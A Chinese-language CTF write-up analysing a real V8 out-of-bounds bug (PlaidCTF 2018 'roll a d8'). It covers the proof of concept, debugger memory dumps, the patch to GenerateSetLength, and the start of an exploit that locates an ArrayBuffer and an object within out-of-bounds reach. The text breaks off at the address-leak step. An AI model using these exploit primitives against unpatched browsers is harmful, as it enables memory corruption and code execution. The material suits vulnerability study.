Issue:821137 V8引擎数组越界漏洞分析及利用 PlaidCTF2018 roll a d8

记录一个零基础新手学习这个V8漏洞分析及利用的过程。PlaidCTF2018roll a d8,实际上也是一个真实的Chromium bug。

bug链接:链接1

修复此bug的commit链接:链接2 通过这里可以获取到漏洞版本的hash以及patch文件、POC文件。

前几天通过这个*CTF2019-oob题目初步学习了v8引擎数组越界漏洞的利用,这里再通过这个数组越界bug尝试一下从POC及源码分析到漏洞利用。

调试准备

切换到漏洞版本,编译出d8

1
2
3
4
5
6
7
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

在编译出的debug版d8中跑官方给出的POC会崩溃:

img

POC分析

拿到官方给出的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Copyright 2018 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Tests that creating an iterator that shrinks the array populated by
// Array.from does not lead to out of bounds writes.
let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
// assertEquals(oobArray.length, maxSize);
// iterator reset the length to 0 just before returning done, so this will crash
// if the backing store was not resized correctly.
oobArray[oobArray.length - 1] = 0x41414141;

首先要理解一下POC的行为,作为一个一头雾水的JS小白,,我首先了解了一些相关的JS基础,都放在本文的最后了

POC中的关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });

创建了一个数组oobArray,然后通过给Array.from.call()的第二个参数传入一个可迭代的对象给oobArray初始化一个数组,值得注意的是,在对象的[Symbol.iterator]方法中,有oobArray.length = 0

数组length置零

我先写个实例测试一下,看看对数组.length赋值为0会发生什么:

1
2
3
4
5
var array = ['sunxiaokong', 20, 'happy'];
%DebugPrint(array);
%SystemBreak();
array.length = 0;
%DebugPrint(array);

第一次输出,length置零前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
DebugPrint: 0x44fda50d509: [JSArray]
- map: 0x2edf59782729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x2bc341d85539 <JSArray[0]>
- elements: 0x44fda50d4b1 <FixedArray[3]> [PACKED_ELEMENTS (COW)]
- length: 3
- properties: 0xcbbfa182251 <FixedArray[0]> {
#length: 0xcbbfa1cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x44fda50d4b1 <FixedArray[3]> {
0: 0x2bc341da7041 <String[11]: sunxiaokong>
1: 20
2: 0x2bc341da7069 <String[5]: happy>
}
0x2edf59782729: [Map]
...
... ↓
pwndbg> telescope 0x44fda50d508 <--Array object
00:0000│ 0x44fda50d508 —▸ 0x2edf59782729 ◂— 0x4000013c7216022 <--map
01:0008│ 0x44fda50d510 —▸ 0xcbbfa182251 ◂— 0x13c7216023 <--properties
02:0010│ 0x44fda50d518 —▸ 0x44fda50d4b1 ◂— 0x13c7216026 <--elements
03:0018│ 0x44fda50d520 ◂— 0x300000000 <--length
04:0020│ 0x44fda50d528 —▸ 0x13c721604779 ◂— 0x2000013c7216022
05:0028│ 0x44fda50d530 —▸ 0x2bc341da7409 ◂— 0xe9000013c7216045
06:0030│ 0x44fda50d538 ◂— 0xdeadbeedbeadbeef
... ↓
pwndbg> telescope 0x44fda50d4b0 <--elements
00:0000│ 0x44fda50d4b0 —▸ 0x13c7216026d1 ◂— 0x13c7216022 <--map
01:0008│ 0x44fda50d4b8 ◂— 0x300000000 <--length
02:0010│ 0x44fda50d4c0 —▸ 0x2bc341da7041 ◂— 0x5e000013c7216024 <--string:sunxiaokong
03:0018│ 0x44fda50d4c8 ◂— 0x1400000000 <--number:20(Small Int)
04:0020│ 0x44fda50d4d0 —▸ 0x2bc341da7069 ◂— 0x96000013c7216024 <--string:happy
05:0028│ 0x44fda50d4d8 —▸ 0x13c7216026d1 ◂— 0x13c7216022
06:0030│ 0x44fda50d4e0 ◂— 0x400000000
07:0038│ 0x44fda50d4e8 —▸ 0xcbbfa185559 ◂— 0xe1000013c7216028

第二次输出,length置零后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
DebugPrint: 0x44fda50d509: [JSArray]
- map: 0x2edf59782729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x2bc341d85539 <JSArray[0]>
- elements: 0xcbbfa182251 <FixedArray[0]> [PACKED_ELEMENTS]
- length: 0
- properties: 0xcbbfa182251 <FixedArray[0]> {
#length: 0xcbbfa1cff89 <AccessorInfo> (const accessor descriptor)
}
0x2edf59782729: [Map]
...
... ↓
pwndbg> telescope 0x44fda50d508
00:0000│ 0x44fda50d508 —▸ 0x2edf59782729 ◂— 0x4000013c7216022
01:0008│ 0x44fda50d510 —▸ 0xcbbfa182251 ◂— 0x13c7216023 <--elements指向空数组
... ↓
03:0018│ 0x44fda50d520 ◂— 0x0 <--length
04:0020│ 0x44fda50d528 —▸ 0x13c721604779 ◂— 0x2000013c7216022
05:0028│ 0x44fda50d530 —▸ 0x2bc341da7409 ◂— 0xe9000013c7216045
06:0030│ 0x44fda50d538 ◂— 0xdeadbeedbeadbeef
... ↓
pwndbg> job 0xcbbfa182251 <--elements指向空数组
0xcbbfa182251: [FixedArray] in OldSpace
- map: 0x13c721602361 <Map>
- length: 0

可以清楚的看到,在执行array.length=0后,array对象中的length和elements数组都相应地做出了改变,length置0,而elements指针则指向了一个空数组。

崩溃原因

根据刚才的测试,可以知道,正常情况下,POC中进行的oobArray.length=0操作肯定会使得oobrray的长度置零。往POC中加入一句console.log('oobArray length : ' + oobArray.length)验证一下:

数组长度打印出来仍是8224。而且报错信息中可以看到:**Debug check failed: index < this->length() (8223 vs. 0).虽然我不知道“Debug check”**的检测内容是什么,但是很显然,是V8在处理数组长度的时候出现了问题,导致了Debug版d8的check错误!这也是为什么用release版d8跑POC不会崩溃的原因,因为release版d8没有这个”Debug check”。

img

将POC中的oobArray[oobArray.length - 1] = 0x41414141;注释掉,加上%DebugPrint(oobArray);%SystemBreak();,在调试器中看看数组对象的内存。

输出结果如下,可以看到,elements数组已经指向了一个空数组,但是数组对象的length字段仍是8224,这是一个数组越界漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
DebugPrint: 0x352c4f58da71: [JSArray]
- map: 0x34618e202571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x17aef1d05539 <JSArray[0]>
- elements: 0x203e98682251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
- length: 8224 <---------------length:8224
- properties: 0x203e98682251 <FixedArray[0]> {
#length: 0x203e986cff89 <AccessorInfo> (const accessor descriptor)
}
0x34618e202571: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x203e986822e1 <undefined>
- prototype_validity cell: 0x203e98682629 <Cell value= 1>
- instance descriptors (own) #1: 0x17aef1d057e9 <DescriptorArray[5]>
- layout descriptor: (nil)
- transitions #1: 0x17aef1d056a9 <TransitionArray[4]>Transition array #1:
0x203e986cf7d9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x34618e202621 <Map(HOLEY_SMI_ELEMENTS)>

- prototype: 0x17aef1d05539 <JSArray[0]>
- constructor: 0x17aef1d05179 <JSFunction Array (sfi = 0x203e986ba641)>
- dependent code: 0x203e98682251 <FixedArray[0]>
- construction counter: 0
... ↓
pwndbg> telescope 0x352c4f58da70 <--array
00:0000│ 0x352c4f58da70 —▸ 0x34618e202571 ◂— 0x400000416889822 <--map
01:0008│ 0x352c4f58da78 —▸ 0x203e98682251 ◂— 0x416889823 <--properties空数组
... ↓ <--elements空数组
03:0018│ 0x352c4f58da88 ◂— 0x202000000000 <--length 8224(Small Int)
04:0020│ 0x352c4f58da90 —▸ 0x41688984779 ◂— 0x200000416889822
05:0028│ 0x352c4f58da98 —▸ 0x17aef1d275e9 ◂— 0x416889845
06:0030│ 0x352c4f58daa0 —▸ 0x34618e202519 ◂— 0x800000416889822
07:0038│ 0x352c4f58daa8 —▸ 0x203e98682251 ◂— 0x416889823

再改写一下POC,在release版d8中跑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });

console.log(oobArray[1]);
oobArray[0] = 1.8457939563190925445492984919E-314; //0xdeadbeef(float)
oobArray[8223] = 1.8457939563190925445492984919E-314; //0xdeadbeef(float)
%DebugPrint(oobArray);
%SystemBreak();

可以看到,在release版d8中,oobArray的length与elements数组的length不等,由于没有debug check,成功做到数组越界读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
...
-1074790400 <---越界读
0x1f4991c8d8f1 <JSArray[8224]> <---oobArray
... ↓
pwndbg> telescope 0x1f4991c8d8f0 <---oobArray
00:0000│ 0x1f4991c8d8f0 —▸ 0x2fcc3cb82679 ◂— 0x400000b17e99022 <--map
01:0008│ 0x1f4991c8d8f8 —▸ 0x2a2ee1102251 ◂— 0xb17e99023 <-elements是一个length为0的数组
... ↓
03:0018│ 0x1f4991c8d908 ◂— 0x202000000000 <---但是oobArray中的length仍是8223
04:0020│ 0x1f4991c8d910 —▸ 0xb17e9904721 ◂— 0x200000b17e99022
05:0028│ 0x1f4991c8d918 —▸ 0x1443b69274d9 ◂— 0xb17e99047
06:0030│ 0x1f4991c8d920 —▸ 0x2fcc3cb82519 ◂— 0x800000b17e99022
07:0038│ 0x1f4991c8d928 —▸ 0x2a2ee1102251 ◂— 0xb17e99023
pwndbg> telescope 0x2a2ee1102250 <---elements
00:0000│ 0x2a2ee1102250 —▸ 0xb17e9902361 ◂— 0xb17e99022 <--map
01:0008│ 0x2a2ee1102258 ◂— 0x0 <--elements.length=0!
02:0010│ 0x2a2ee1102260 ◂— 0xdeadbeef <--成功越界写入0xdeadbeef
03:0018│ 0x2a2ee1102268 ◂— 0xbff0000000000000
04:0020│ 0x2a2ee1102270 —▸ 0x2a2ee1102291 ◂— 0xe600000b17e99024
05:0028│ 0x2a2ee1102278 ◂— 0xffffffff00000000
06:0030│ 0x2a2ee1102280 —▸ 0x2a2ee11022b9 ◂— 0x4200000b17e99024
07:0038│ 0x2a2ee1102288 ◂— 0x600000000
pwndbg> x/xg 0x2a2ee1102260+8223*8
0x2a2ee1112358: 0x00000000deadbeef <--成功越界写入0xdeadbeef

漏洞成因分析

这里为什么会出现Array对象中的length与elements数组的length不等的问题呢?需要从patch文件入手分析。

patch分析

可以看到,在src/builtins/builtins-array-gen.cc中的GenerateSetLength()函数中修改了GotoIf()语句的第一个参数,似乎是一个判断语句,将SmiLessThan(length_smi, old_length)改成了SmiNotEqual(length_smi, old_length),从函数名称上看,可能是对length_smiold_length的比较处理上出现了问题,也确实符合刚才在POC中调试出来的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
--- a/src/builtins/builtins-array-gen.cc
+++ b/src/builtins/builtins-array-gen.cc
@@ -1945,10 +1945,13 @@
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
+ // TODO(delphick): We should be able to skip the fast set altogether, if the
+ // length already equals the expected length, which it always is now on the
+ // fast path.
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
- // 3) the new length is greater than or equal to the old length.
+ // 3) the new length is equal to the old length.

// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
@@ -1970,10 +1973,10 @@
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);

- // 3) If the created array already has a length greater than required,
+ // 3) If the created array's length does not match the required length,
// then use the runtime to set the property as that will insert holes
- // into the excess elements and/or shrink the backing store.
- GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+ // into excess elements or shrink the backing store as appropriate.
+ GotoIf(SmiNotEqual(length_smi, old_length), &runtime);

StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);

这里可以下载到漏洞版本对应的源码,阅读一下源码以分析漏洞成因。

V8的内置函数是用到了CodeStubAssembler来编写

v8为了提高效率,采用了CodeStubAssembler来编写js的原生函数,它是是一个定制的,与平台无关的汇编程序,它提供低级原语作为汇编的精简抽象,但也提供了一个扩展的高级功能库。

这篇文章的作者简要总结了一些CSA语法以供参考:

1
2
3
4
5
6
7
8
F_BUILTIN:创建一个函数
Label:声明将要用到的标签名,这些标签名将作为跳转的目标
BIND:绑定标签(相当于将一个代码块和一个标签名绑定,跳转时就可以使用标签名跳转到相应代码块)
Branch:条件跳转指令
VARIABLE:定义一些变量
Goto:跳转
CAST:类型转换
CALLJS:调用给定的JS函数

还有一些没搞明白作用的语法,如果有师傅知道意思,恳请指出!

1
CSA_ASSERT

Array.from()源码分析

这里用的是漏洞对应版本的源码。在/src/builtins/builtins-array-gen.cc的第1996行找到了数组对象内置函数from的定义。

Array.from函数的阅读,我主要是结合函数名/变量名和上面的一些CSA语法来理解代码意思(即 靠猜)。

先总结一下Array.from.call的函数执行流程,建议结合后面的源码看这个流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Array.from.call(this, object)

检查第一个参数this
是否为undefined或callable

检查object是否定义了[Symbol.iterator]
检查[Symbol.iterator]是否是可调用的

--------------迭代循环开始--------------我是一个循环边界-----
...
调用object的迭代器方法,产生迭代结果
this是callable的(如POC中)
调用this function,将返回值存储至一个局部变量,这个局部变量与返回的数组应该是有做好了转换的。
存储本次迭代产生的结果
...
循环结束前,用index为局部变量length赋值(POC中,length=8224)
--------------迭代循环结束--------------我是一个循环边界-----

call GenerateSetLength(context, array.value(), length.value()) <----漏洞函数

return array

我将Array.from的源码截取了出来,并根据我自己的理解加上了注释,这里我是通过VS Code阅读的源代码,非常方便速览一些变量、函数的定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
TNode<Int32T> argc =
UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount));

CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));

TNode<Object> map_function = args.GetOptionalArgumentValue(1); //from.call()的this?

// If map_function is not undefined, then ensure it's callable else throw.
// 要么是undefined,要么是callable,否则抛出类型错误
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error); //检验args[1]是不是undefined
GotoIf(TaggedIsSmi(map_function), &error); //检验是不是Small Int
Branch(IsCallable(map_function), &no_error, &error); //检验是不是callable(函数)

BIND(&error); //error跳转到这
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);

BIND(&no_error); //no error正常往下执行
}

Label iterable(this), not_iterable(this), finished(this), if_exception(this);

TNode<Object> this_arg = args.GetOptionalArgumentValue(2);
//items -> from.call(this, object)的对象参数?
TNode<Object> items = args.GetOptionalArgumentValue(0);
// The spec doesn't require ToObject to be called directly on the iterable
// branch, but it's part of GetMethod that is in the spec.
TNode<JSReceiver> array_like = ToObject(context, items);

TVARIABLE(Object, array);
TVARIABLE(Number, length); //定义length变量作为输出数组长度的记录
//最后length = index

// Determine whether items[Symbol.iterator] is defined:
// 确认对象的迭代器方法[Symbol.iterator]是否定义
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);//对象的迭代器方法
//条件跳转,判断迭代方法是否定义,跳转目的有not_iterable和iterable分别对应可和不可迭代
Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);

//迭代方法[Symbol.iterator]已定义的情况
BIND(&iterable);
{
TVARIABLE(Number, index, SmiConstant(0)); //index作为下标从0开始给数组赋值
TVARIABLE(Object, var_exception);

Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);

// Check that the method is callable.
// 检查对象的迭代器方法是否是可调用的(函数)
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
Goto(&next);

BIND(&get_method_not_callable); //抛出异常
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);

BIND(&next);
}

// Construct the output array with empty length.
// 构造一个长度为空的返回数组
array = ConstructArrayLike(context, args.GetReceiver());

// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);

TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);

Goto(&loop);

//迭代循环
BIND(&loop);
{
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
//value是迭代器next()方法返回的value
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));

// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
// 调用map_function并用this_arg接收返回值
{
Label next(this);
//如果map_function未定义,跳过后面的几行代码直接到next标签
GotoIf(IsUndefined(map_function), &next);

CSA_ASSERT(this, IsCallable(map_function));
//调用map_function
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());
GotoIfException(v, &on_exception, &var_exception);
value = CAST(v); //这里是将value与this_arg做好了转换吗?
Goto(&next);
BIND(&next);
}

// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value()); //将结果存入array?
GotoIfException(define_status, &on_exception, &var_exception);

index = NumberInc(index.value()); //自增 index++

// The spec requires that we throw an exception if index reaches 2^53-1,
// but an empty loop would take >100 days to do this many iterations. To
// actually run for that long would require an iterator that never set
// done to true and a target array which somehow never ran out of memory,
// e.g. a proxy that discarded the values. Ignoring this case just means
// we would repeatedly call CreateDataProperty with index = 2^53.
CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
NumberConstant(kMaxSafeInteger), ok,
not_ok);
});
Goto(&loop); //迭代循环边界
}

BIND(&loop_done);
{
length = index; //给length赋值,length = max_index + 1 (循环结束前index++)
Goto(&finished);
}

BIND(&on_exception);
{
// Close the iterator, rethrowing either the passed exception or
// exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}

// Since there's no iterator, items cannot be a Fast JS Array.
BIND(&not_iterable);
{
CSA_ASSERT(this, Word32BinaryNot(IsFastJSArray(array_like, context)));

// Treat array_like as an array and try to get its length.
length = ToLength_Inline(
context, GetProperty(context, array_like, factory()->length_string()));

// Construct an array using the receiver as constructor with the same length
// as the input array.
array = ConstructArrayLike(context, args.GetReceiver(), length.value());

TVARIABLE(Number, index, SmiConstant(0));

GotoIf(SmiEqual(length.value(), SmiConstant(0)), &finished);

// Loop from 0 to length-1.
{
Label loop(this, &index);
Goto(&loop);
BIND(&loop);
TVARIABLE(Object, value);

value = GetProperty(context, array_like, index.value());

// If a map_function is supplied then call it (using this_arg as
// receiver), on the value retrieved from the array.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);

CSA_ASSERT(this, IsCallable(map_function));
value = CAST(CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value()));
Goto(&next);
BIND(&next);
}

// Store the result in the output object.
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
index = NumberInc(index.value());
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
length.value(), &loop, &finished);
}
}

BIND(&finished);

// Finally set the length on the output and return it.
// 设置返回数组的length
// 疑问:数组现在的状态是怎样的?length = ? array.length = ? array.elements = ?
// 由于POC的迭代函数中,最后array.length = 0
// 此时的状态应该为:array.length = 0, array.elements = 空数组, length = 8224
Print("array", static_cast<Node*>(array.value()));
DebugBreak();
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}

调用GenerateSetLength前的状态:array.length = 0, array.elements = 空数组, length = 8224

然后进入GenterateSetLength(),由于正是对这个函数进行的patch修补,所以建议用VS Code多开一个窗口和patch文件对比着看

image-20200115111345044

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//array.length = 0, array.elements = 空数组, length = 8224
//GenerateSetLength(context, array.value(), length.value())
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
// 3) the new length is greater than or equal to the old length.
// patch中:3) the new length is equal to the old length.

// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
// check for SMIs.
// TODO(delphick): Also we could hoist this to after the array construction
// and copy the args into array in the same way as the Array constructor.
//如果有fast元素则跳转至下面的BIND(&fast)(Array数组对象当然是符合这个条件的)
BranchIfFastJSArray(array, context, &fast, &runtime);

BIND(&fast); //
{
TNode<JSArray> fast_array = CAST(array);

TNode<Smi> length_smi = CAST(length); //length_smi=length=8224
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);//old_length=array.length=0
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));

// 2) Ensure that the length is writable.
// TODO(delphick): This check may be redundant due to the
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime); //确认length字段可写

// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
// 如果length_smi < old_length则执行runtime以length_smi为准重新设置elements和length
GotoIf(SmiLessThan(length_smi, old_length), &runtime);

//这个函数应该就是patch注释中说的"fast set"方式
//往array的length字段写入length_smi(8224),却没有设置elements为相应大小的数组
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);

Goto(&done);
}

//这个runtime应该是一个比较稳妥的设置方式,会同步设置elements和length
BIND(&runtime);
{
CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
CodeStubAssembler::LengthStringConstant(), length,
SmiConstant(LanguageMode::kStrict));
Goto(&done);
}

BIND(&done);
}

漏洞成因

要理解这个漏洞成因需要仔细阅读并理解以上代码。

可以看到,在漏洞版本中,如果length_smi=old_length,则通过StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset, length_smi);直接将length_smi(8224)写入到array的length字段,而elements仍是一个空的元素数组。因此导致了数组越界漏洞

以上漏洞成因很可能是开发者只考虑到了length_smi可能小于或者等于array.length的情况,却没有考虑到length_smi可能会大于array.length(比如像POC中,在迭代循环结束时,执行array.length=0)。

可以看到,patch文件中,直接将跳转条件SmiLessThan改成了SmiNotEqual,而且patch注释中也说:”We should be able to skip the fast set altogether, if the length already equals the expected length, which it always is now on the fast path”,意思是,如果提供的length与array.length不相等,则直接跳过fast set,这里的”fast set”应该就是指StoreObjectFieldNoWriteBarrier(),这样,就不会出现如我们上面出现的,将length置为8224,而elements仍是空数组的情况了。

img

根据这样的理解,修补后的结果,应该是elements数组和array.length同步置为8224,可以用一个修补后的d8跑POC验证一下:

可以看到,确实是以8224为准重新设置了elements和length,说明以上推测没有什么问题。

img

漏洞利用

定义类型转换函数

在V8中,number只有两种形式,一种是float,一种是smi(small int),因此需要写一些函数用于转换数据类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/*---------------------------datatype convert-------------------------*/
class typeConvert{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
//convert float to int
f2i(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}

/*
convert int to float
if nead convert a 64bits int to float
please use string like "deadbeefdeadbeef"
(v8's SMI just use 56bits, lowest 8bits is zero as flag)
*/
i2f(val){
let vall = hex(val);
let tmp = [];
tmp[0] = vall.slice(10, );
tmp[1] = vall.slice(2, 10);
tmp[0] = parseInt(tmp[0], 16);
// console.log(hex(val));
tmp[1] = parseInt(tmp[1], 16);
this.u32.set(tmp);
return this.f64[0];
}
}
//convert number to hex string
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}

var dt = new typeConvert();

得到可控的对象

在对数组越界利用前首先得了解v8中JS对象的内存布局,我把一些关于对象的基础和参考资料记录在了Sunxiaokong’s blog - Chrome V8学习笔记(一)

如果可以在oobArray可控范围(8224)内有一个可控的ArrayBuffer对象,而ArrayBuffer对象的实际申请到的堆块即为对象的backing_store指针,对ArrayBuffer进行读写实际上就是对backing_store指针指向的堆块进行操作。那么控制其backing_store指针为目的地址即可实现任意地址读写。

img

而如果可以在oobArray可控范围内有一个普通对象,例如obj{leak:xxxx},那么只需要执行obj.leak = target,target就会存放在obj对象的in-object properties数组中了,这样通过oobArray[offset]即可将target地址以float形式读出。

img

实现如下:

在最后迭代结束length=1后,new一个新的ArrayBuffer和一个普通的对象(这里我定义的是objGen对象),以0xbeef作为ArrayBuffer的size,以0xdead作为objGen.tag,这样,从oobArray[0]开始一直到oobArray[maxSize-1]循环搜索0xbeef000000000xdead00000000即可确定这ArrayBuffer和objGen对象在oobArray内的偏移了。注意length不能置为0,若置为0,则elements指向的空数组和后面生成的Arraybuffer、objgen是不在同一块vma的。

这里还需要注意的是V8的垃圾回收机制(Garbage Collection)。在迭代刚结束时,生成的ArrayBuffer和objGen对象肯定是不在oobArray长度范围内的,因为此时oobArray的elements中虽然length被置0了,但是之前的elements长度为8224,且每个element卡槽中的值仍然是原本的初识值(我这里是1.1),只有经过垃圾回收机制后,才会将这些多余的element卡槽回收,并把oobArray、arraybuffer和objgen移去另外一块空间,这时候ArrayBuffer和objgen才会落在oobArray长度范围内(8224)。以上是我通过调试观察得出的结论,关于GC机制的触发时机、处理方式等细节,暂时还没有深入了解,以后再补上。这里我在search前先对oobArray做了一次循环,然后再search,成功得到可控的ArrayBuffer和object。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*generate a Out-Of-Bound array and generate many ArrayBuffers and objects*/
var bufArray = [];
var objArray = [];
var oobArray = [1.1];
var maxSize = 8224;
function objGen(tag){
this.leak = 0x1234;
this.tag = tag;
}
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
// for(let i=0;i<=1000;i++){
bufArray.push(new ArrayBuffer(0xbeef));
objArray.push(new objGen(0xdead));
// }
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });

/*------search a ArrayBuffer which could be controlled by oobArray-------*/
var offsetBuf; //target offset of oobArray
var indexBuf; //target offset in bufArray
for(let x=0; x<=maxSize; x++) {let y = oobArray[x]}; //trigger the GC
//start search
for(let i = 0; i < maxSize; i++){
let val = dt.f2i(oobArray[i]);
if(0xbeef00000000===val){
offsetBuf = i-3;
console.log("[*] target buf offset of oobArray: " + offsetBuf);
%DebugPrint(oobArray);
}
if(0xdead00000000===val){
offsetObjLeak = i-1;
console.log("[*] target obj.leak offset of oobArray: " + offsetObjLeak);
%DebugPrint(oobArray);
break;
}
}

成功搜索到了oobArray长度范围内的ArrayBuffer和objGen对象:

img

泄漏对象地址

